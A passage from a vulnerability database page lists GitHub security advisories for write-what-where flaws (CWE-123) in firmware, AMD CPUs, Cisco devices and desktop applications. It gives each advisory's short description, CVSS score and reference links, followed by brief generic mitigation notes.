"url": "https://git.kernel.org/stable/c/2f2b16022a2e10ca7bccfb98db5ed2ec0f72641c"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3599e6b3cc1ada96883d496a50a210d3afbb6987"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3884358a9286b17f389a72b1426fc4547c23c111"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/3bd9e113d50034db99d7ef69fd8e5242d15e414a"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/760e1addc27ba1a7beb4a0a7e8b3e9ec49e7a34e"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/78bf6b6bb19541d19fbda6242e7cfe2c682763c0"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/9d3e5fd19fe1063bf607219e8562fbd567b8e8d5"
},
{
"type": "WEB",
"url": "https://git.kernel.org/stable/c/f84eca5817390257cef78013d0112481c503b4a3"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46300.json"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19521"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19540"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19568"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19569"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19664"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19666"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19705"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19711"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:19875"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20051"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20054"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20087"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20129"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20130"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20299"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:20593"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21656"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21690"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21695"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:21702"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23233"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23240"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:23245"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/13/5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/21/11"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/21/12"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/21/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-49C7-GF66-CC93
Vulnerability from github – Published: 2022-09-23 00:00 – Updated: 2022-09-25 00:00
VLAI
Details
An issue was discovered in Insyde InsydeH2O with kernel 5.0 through 5.5. An SMM callout vulnerability in the SMM driver in UsbLegacyControlSmm leads to possible arbitrary code execution in SMM and escalation of privileges. An attacker could overwrite the function pointers in the EFI_BOOT_SERVICES table before the USB SMI handler triggers. (This is not exploitable from code running in the operating system.)
Severity
8.2 (High)
{
"affected": [],
"aliases": [
"CVE-2022-35408"
],
"database_specific": {
"cwe_ids": [
"CWE-123"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-22T16:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Insyde InsydeH2O with kernel 5.0 through 5.5. An SMM callout vulnerability in the SMM driver in UsbLegacyControlSmm leads to possible arbitrary code execution in SMM and escalation of privileges. An attacker could overwrite the function pointers in the EFI_BOOT_SERVICES table before the USB SMI handler triggers. (This is not exploitable from code running in the operating system.)",
"id": "GHSA-49c7-gf66-cc93",
"modified": "2022-09-25T00:00:19Z",
"published": "2022-09-23T00:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35408"
},
{
"type": "WEB",
"url": "https://binarly.io/advisories/BRLY-2022-022/index.html"
},
{
"type": "WEB",
"url": "https://www.insyde.com/security-pledge"
},
{
"type": "WEB",
"url": "https://www.insyde.com/security-pledge/SA-2022031"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4JQW-MWQP-MHQ2
Vulnerability from github – Published: 2024-11-12 21:30 – Updated: 2024-11-12 21:30
VLAI
Details
Substance3D - Painter versions 10.1.0 and earlier are affected by a Write-what-where Condition vulnerability that could lead to a memory leak. This vulnerability allows an attacker to write a controlled value at a controlled memory location, which could result in the disclosure of sensitive memory content. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-47438"
],
"database_specific": {
"cwe_ids": [
"CWE-123",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T20:15:10Z",
"severity": "MODERATE"
},
"details": "Substance3D - Painter versions 10.1.0 and earlier are affected by a Write-what-where Condition vulnerability that could lead to a memory leak. This vulnerability allows an attacker to write a controlled value at a controlled memory location, which could result in the disclosure of sensitive memory content. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
"id": "GHSA-4jqw-mwqp-mhq2",
"modified": "2024-11-12T21:30:54Z",
"published": "2024-11-12T21:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47438"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/substance3d_painter/apsb24-86.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4R39-FVRV-XRFJ
Vulnerability from github – Published: 2024-01-04 12:30 – Updated: 2024-01-04 12:30
VLAI
Details
A vulnerability has been identified in syngo fastView (All versions). The affected application lacks proper validation of user-supplied data when parsing BMP files. This could result in a write-what-where condition and an attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-15696)
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2021-45465"
],
"database_specific": {
"cwe_ids": [
"CWE-123"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-04T12:15:23Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in syngo fastView (All versions). The affected application lacks proper validation of user-supplied data when parsing BMP files. This could result in a write-what-where condition and an attacker could leverage this vulnerability to execute code in the context of the current process. (ZDI-CAN-15696)",
"id": "GHSA-4r39-fvrv-xrfj",
"modified": "2024-01-04T12:30:20Z",
"published": "2024-01-04T12:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-45465"
},
{
"type": "WEB",
"url": "https://www.siemens-healthineers.com/en-us/support-documentation/cybersecurity/shsa-688797"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4VW8-PFFJ-Q9X7
Vulnerability from github – Published: 2026-01-16 18:31 – Updated: 2026-01-16 18:31
VLAI
Details
Write what were condition within AMD CPUs may allow an admin-privileged attacker to modify the configuration of the CPU pipeline potentially resulting in the corruption of the stack pointer inside an SEV-SNP guest.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-29943"
],
"database_specific": {
"cwe_ids": [
"CWE-123"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-16T16:15:53Z",
"severity": "MODERATE"
},
"details": "Write what were condition within AMD CPUs may allow an admin-privileged attacker to modify the configuration of the CPU pipeline potentially resulting in the corruption of the stack pointer inside an SEV-SNP guest.",
"id": "GHSA-4vw8-pffj-q9x7",
"modified": "2026-01-16T18:31:33Z",
"published": "2026-01-16T18:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29943"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-3027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4VXG-6HGQ-QR48
Vulnerability from github – Published: 2022-05-24 19:01 – Updated: 2022-05-24 19:01
VLAI
Details
A vulnerability in the internal message processing of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an authenticated, local attacker to run arbitrary commands with root privileges on the underlying operating system (OS). This vulnerability exists because an internal messaging service does not properly sanitize input. An attacker could exploit this vulnerability by first authenticating to the device and then sending a crafted request to the internal service. A successful exploit could allow the attacker to run arbitrary commands with root privileges on the underlying OS. To exploit this vulnerability, the attacker must have valid Administrator credentials for the device.
{
"affected": [],
"aliases": [
"CVE-2021-1520"
],
"database_specific": {
"cwe_ids": [
"CWE-123"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-06T13:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the internal message processing of Cisco RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an authenticated, local attacker to run arbitrary commands with root privileges on the underlying operating system (OS). This vulnerability exists because an internal messaging service does not properly sanitize input. An attacker could exploit this vulnerability by first authenticating to the device and then sending a crafted request to the internal service. A successful exploit could allow the attacker to run arbitrary commands with root privileges on the underlying OS. To exploit this vulnerability, the attacker must have valid Administrator credentials for the device.",
"id": "GHSA-4vxg-6hgq-qr48",
"modified": "2022-05-24T19:01:33Z",
"published": "2022-05-24T19:01:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1520"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-34x-privesc-GLN8ZAQE"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-587F-4VMQ-C6M5
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45
VLAI
Details
A vulnerability in one of the diagnostic test CLI commands of Cisco IOS XE Software could allow an authenticated, local attacker to execute arbitrary code on an affected device. To exploit this vulnerability, the attacker would need to have valid user credentials at privilege level 15. This vulnerability exists because the affected software permits modification of the run-time memory of an affected device under specific circumstances. An attacker could exploit this vulnerability by authenticating to the affected device and issuing a specific diagnostic test command at the CLI. A successful exploit could trigger a logic error in the code that was designed to restrict run-time memory modifications. The attacker could take advantage of this logic error to overwrite system memory locations and execute arbitrary code on the underlying Linux operating system (OS) of the affected device.
{
"affected": [],
"aliases": [
"CVE-2021-1390"
],
"database_specific": {
"cwe_ids": [
"CWE-123"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-24T20:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in one of the diagnostic test CLI commands of Cisco IOS XE Software could allow an authenticated, local attacker to execute arbitrary code on an affected device. To exploit this vulnerability, the attacker would need to have valid user credentials at privilege level 15. This vulnerability exists because the affected software permits modification of the run-time memory of an affected device under specific circumstances. An attacker could exploit this vulnerability by authenticating to the affected device and issuing a specific diagnostic test command at the CLI. A successful exploit could trigger a logic error in the code that was designed to restrict run-time memory modifications. The attacker could take advantage of this logic error to overwrite system memory locations and execute arbitrary code on the underlying Linux operating system (OS) of the affected device.",
"id": "GHSA-587f-4vmq-c6m5",
"modified": "2022-05-24T17:45:13Z",
"published": "2022-05-24T17:45:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1390"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-XE-OFP-6Nezgn7b"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Architecture and Design
Strategy: Language Selection
Use a language that provides appropriate memory abstractions.
Mitigation
Operation
Use OS-level preventative functionality integrated after the fact. Not a complete solution.
No CAPEC attack patterns related to this CWE.